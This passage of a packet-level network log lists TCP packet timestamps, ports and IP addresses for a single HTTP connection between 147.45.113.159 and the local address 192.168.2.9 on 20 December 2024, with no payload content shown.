Dec 20, 2024 17:13:45.356091022 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.356219053 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.356262922 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.356844902 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.356909990 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.356955051 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.357724905 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.357958078 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.358004093 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.358526945 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.358608007 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.358654976 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.359302044 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.359438896 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.359477043 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.360014915 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.360162020 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.360210896 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.360889912 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.360908031 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.360984087 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.361638069 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.361749887 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.361800909 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.362370014 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.362487078 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.362535000 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.363254070 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.363470078 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.363519907 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.363961935 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.364032984 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.364104033 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.364949942 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.365046024 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.365092039 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.365645885 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.365777969 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.365823984 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.366287947 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.366354942 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.366401911 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.367093086 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.367208958 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.367259026 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.367809057 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.368047953 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.368098974 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.368616104 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.368936062 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.368984938 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.369539976 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.369680882 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.369725943 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.370244026 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.370353937 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.370393991 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.370959997 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.371138096 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.371184111 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.371761084 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.372021914 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.372065067 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.372494936 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.372620106 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.372658014 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.373380899 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.373615980 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.373665094 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.424453974 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.424479008 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.424565077 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.424649000 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.424833059 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.424879074 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.425570011 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.425740004 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.425795078 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.426292896 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.426624060 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.426670074 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.426755905 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.427339077 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.427381992 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.427383900 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.428117990 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.428163052 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.428184032 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.428827047 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.428869009 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.428946018 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.429611921 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.429655075 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.429728985 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.430392027 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.430432081 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.430438995 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.431200027 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.431248903 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.431281090 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.431963921 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.432004929 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.432010889 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.432842970 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.432893038 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.432934999 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.433664083 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.433716059 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.433784962 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.434431076 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.434474945 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.434700012 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.435256004 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.435302019 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.435306072 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.435874939 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.435920000 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.435992002 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.436634064 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.436683893 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.436714888 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.437448978 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.437494040 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.437561989 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.438251019 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.438302994 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.438400984 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.439017057 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.439083099 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.439136028 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.462805033 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.462862968 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.462917089 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.463051081 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.463090897 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.463351011 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.463849068 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.463903904 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.463946104 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.464623928 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.464669943 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.543025017 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.543116093 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.543200016 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.543354988 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.543368101 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.543406963 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.544200897 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.544214964 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.544256926 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.544935942 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.544980049 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.545021057 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.545782089 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.545900106 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.545938015 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.546525955 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.546538115 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.546582937 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.547344923 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.547390938 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.547431946 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.548145056 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.548156023 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.548194885 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.548851967 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.548964977 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.549009085 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.549705982 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.549719095 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.549762964 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.550353050 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.550461054 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.550503016 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.551148891 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.551276922 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.551325083 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.551934004 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.552232981 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.552330971 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.552710056 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.552820921 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.552861929 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.553543091 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.554115057 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.554156065 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.554339886 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.554424047 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.554461956 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.555123091 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.555294037 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.555336952 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.555869102 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.556001902 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.556044102 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.556651115 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.556736946 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.556778908 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.557476997 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.557488918 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.557595015 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.558268070 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.558279991 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.558320999 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.559245110 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.559256077 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.559300900 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.559845924 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.559858084 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.559911013 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.560667038 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.560707092 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.560746908 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.561350107 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.561455011 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.561497927 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.562120914 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.562235117 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.562275887 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.563040018 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.563246012 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.563297987 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.563642025 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.563921928 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.563982964 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.564486980 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.564564943 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.564610004 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.565268040 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.565390110 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.565440893 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.616410017 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.616444111 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.616485119 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.616686106 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.616796970 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.616835117 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.617491007 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.617511034 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.617544889 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.618202925 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.618513107 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.618545055 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.618557930 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.619261026 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.619302988 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.619349003 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.620101929 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.620112896 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.620141983 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.620892048 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.620903969 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.620944977 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.621720076 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.621732950 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.621763945 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.622405052 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.622442007 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.622446060 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.623275995 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.623323917 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.623352051 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.624064922 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.624077082 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.624109983 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.624728918 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.624779940 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.624847889 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.625597000 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.625641108 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.625699997 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.626319885 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.626355886 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.626360893 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.627104044 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.627116919 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.627137899 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.627908945 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.627921104 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.627960920 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.628664970 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.628704071 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.628720045 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.629415035 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.629455090 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.629508018 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.630264044 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.630326033 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.630352020 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.631077051 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.631087065 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.631118059 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.655241966 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.655361891 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.655371904 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.655375957 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.655431032 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.655440092 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.656258106 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.656301975 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.656450033 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.656915903 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.656970978 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.736538887 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.736589909 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.736689091 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.736872911 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.737049103 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.737092972 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.737673044 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.737745047 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.737788916 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.738563061 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.738576889 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.738622904 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.739329100 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.739342928 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.739382029 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.740022898 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.740168095 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.740210056 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.740972996 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.740987062 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.741028070 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.741739035 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.741852999 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.741904974 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.742366076 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.742647886 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.742697954 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.743196964 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.743324995 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.743370056 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.743992090 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.744018078 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.744060993 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.744741917 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.744865894 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.744909048 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.745503902 CET	80	49711	147.45.113.159	192.168.2.9
